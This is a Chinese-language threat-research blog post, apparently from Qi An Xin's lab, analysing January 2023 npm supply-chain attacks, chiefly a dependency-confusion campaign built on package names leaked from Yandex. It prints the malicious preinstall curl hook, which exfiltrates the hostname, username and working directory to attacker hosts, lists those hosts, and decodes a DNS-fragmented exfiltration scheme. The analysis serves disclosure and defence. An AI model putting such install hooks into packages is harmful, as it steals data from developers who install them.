在2023年刚开始的第一个月里,针对npm生态的软件供应链恶意攻击也在持续不断,通过奇安信技术研究院星图实验室研发的“天问”软件供应链安全分析平台对npm生态持续进行监测分析后,总共发现了537个npm恶意包。这其中包括一起利用数据泄露信息进行的大规模上传npm恶意包的新型攻击行为,以及其他持续不断的已知形式的供应链攻击行为。
利用Yandex泄漏的数据进行供应链攻击
2023年1月25日,俄罗斯科技巨头Yandex公司的源代码仓库数据被泄露,随后在1月27日,npm生态就出现了利用该泄露数据进行的供应链攻击。
Yandex是俄罗斯市场占有率最大的搜索引擎,该公司旗下产业涉及广泛,除了搜索引擎之外,还包含地图、打车、云服务、金融支付等等各个领域的软件应用(类似国内的百度)。
在此次泄露事件中,虽然没有相关的用户数据被泄露,但源代码仓库内的信息仍有可能被恶意攻击者利用。根据我们安全研究员的合理推测,攻击者应该是在分析了该代码仓库的内容后,找到了yandex公司内部使用的npm包名称,并对其进行了依赖混淆攻击。
例如,攻击者上传了名为@yandex-travel/[email protected]
的恶意包,从包名我们可以推断出该npm包应该存在于yandex公司内部使用的npm源中,在攻击者上传之前npm官方源(registry.npmjs.com)中并没有这个包。攻击者通过在官方源上传同名的npm软件包,以达到依赖混淆攻击的目的。
攻击者在短短两天时间内上传了428个利用了yandex内部npm库名称的恶意包,这些恶意包中都仅仅只包含一个package.json的文件,恶意代码直接嵌入在在该文件的preinstall
字段中,如下图所示:
对文件内容增加换行和适当的缩进之后,详细的恶意script字段如下:
"scripts":{
"test":"echo "Error: no test specified" && exit 1",
"preinstall":"curl
-H "Package: @yandex-travel/ui"
-H "Version: 1.1.0"
-H "Hostname: $(hostname | base64)"
-H "Whoami: $(whoami | base64)"
-H "Pwd: $(pwd | base64)"
-d "meow! security test"
http://npm_org.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru"
}
这段命令执行后会向远程服务地址发起一个HTTP请求,并在header中包含窃取的被攻击者机器上的敏感信息。这些内容包括:
-
当前被安装包的名称
-
当前被安装包的具体版本
-
受害者机器的hostname,并被编码为base64
-
受害者机器的当前登陆用户名,并被编码为base64
-
受害者机器的当前工作目录,并被编码为base64
其他的npm包中也均为相同的代码,但其中远程请求的服务地址进行了一些改动,根据分析共发现5个用于接收数据的url地址。
"http://npm-frontend.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru/",
"http://npm-org.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru/",
"http://npm-new.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru/",
"http://npm.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru/",
"http://npm-taxi.bl04szombv0uaoedbxwle53be2ks8h.c.act1on3.ru/"
除此之外,用于发布这些包的npm 账户也分为三个,详细情况如下:
"_npmUser" : {
"name" : "meow-test",
"email" : "[email protected]" (共发布258个)
}
"_npmUser" : {
"name" : "act1on3-test",
"email" : "[email protected]" (共发布81个)
}
"_npmUser" : {
"name" : "security_act1on3_2",
"email" : "[email protected]" (共发布89个)
},
最后,在此次攻击事件中所有利用的npm包名称及其版本号可点击"查看原文",在博客附录中获取。
2023年1月其他供应链攻击事件
在2023年刚开始的一个月中,除了上述利用数据泄露进行的供应链攻击行为之外,其他之前常见的恶意攻击行为也在持续不断的发生着。“天问”软件供应链安全分析平台共捕获其他的npm恶意包109个,例如,在恶意npm包[email protected]
中,攻击者利用DNS分片回传窃取的敏感信息,以达到更加隐蔽的传输目的。这在以往的npm恶意包分析中也遇到过,是一种常见的攻击者用来隐蔽回传信息的方式,感兴趣的朋友可以前往博客查看我们的历史文章。
在上面的代码中,攻击者首先利用一个http请求,从api.ipifly.org
获取当前环境下的公网ip地址。然后通过执行代码拿到当前受害者机器上的用户名称、工作目录、主机名称等信息,将这些信息通过DNS解析间接传输给攻击者所控制的域名解析服务器来接收。
该恶意包对外查询DNS的请求形式如下(部分敏感数据已被隐藏):
vcbpk.4.22757365726e616d65223a22726f6f.smnfbb.com
vcbpk.5.74222c22686f73746e616d65223a22.smnfbb.com
vcbpk.0.7b227061636b6167656e616d65223a.smnfbb.com
vcbpk.1.2266692d636f6e6e656374222c2263.smnfbb.com
vcbpk.3.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.smnfbb.com
vcbpk.6.776f726b6572222c226970223a2222.smnfbb.com
vcbpk.2.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.smnfbb.com
vcbpk.7.7d00.smnfbb.com
将其中的数据部分拼接起来后得到:
7b227061636b6167656e616d65223a2266692d636f6e6e656374222c2263xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx22757365726e616d65223a22726f6f74222c22686f73746e616d65223a22776f726b6572222c226970223a22227d00
去掉末尾额外附加的两个0,再将该16进制编码转换为utf-8字符即可以获得原始发送的数据内容。
{
"packagename": "fi-connect",
"cwd": xxxxxxxxxxxxxxxxx,
"username": "root",
"hostname": "worker",
"ip": ""
}
参考链接
-
Yandex数据泄漏(https://www.bleepingcomputer.com/news/security/yandex-denies-hack-blames-source-code-leak-on-former-employee/)
-
“天问”软件供应链安全分析平台(https://tianwen.qianxin.com/)
“天问”是由奇安信技术研究院星图实验室开发的软件供应链安全分析平台,专注于软件供应链生态的安全风险识别与检测。
我们目前正在招聘,工作地点覆盖北京、上海、南京、成都等城市,详情请参见:
https://research.qianxin.com/recruitment/
原文始发于微信公众号(奇安信技术研究院):天问 | 利用数据泄露信息进行npm生态供应链攻击
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论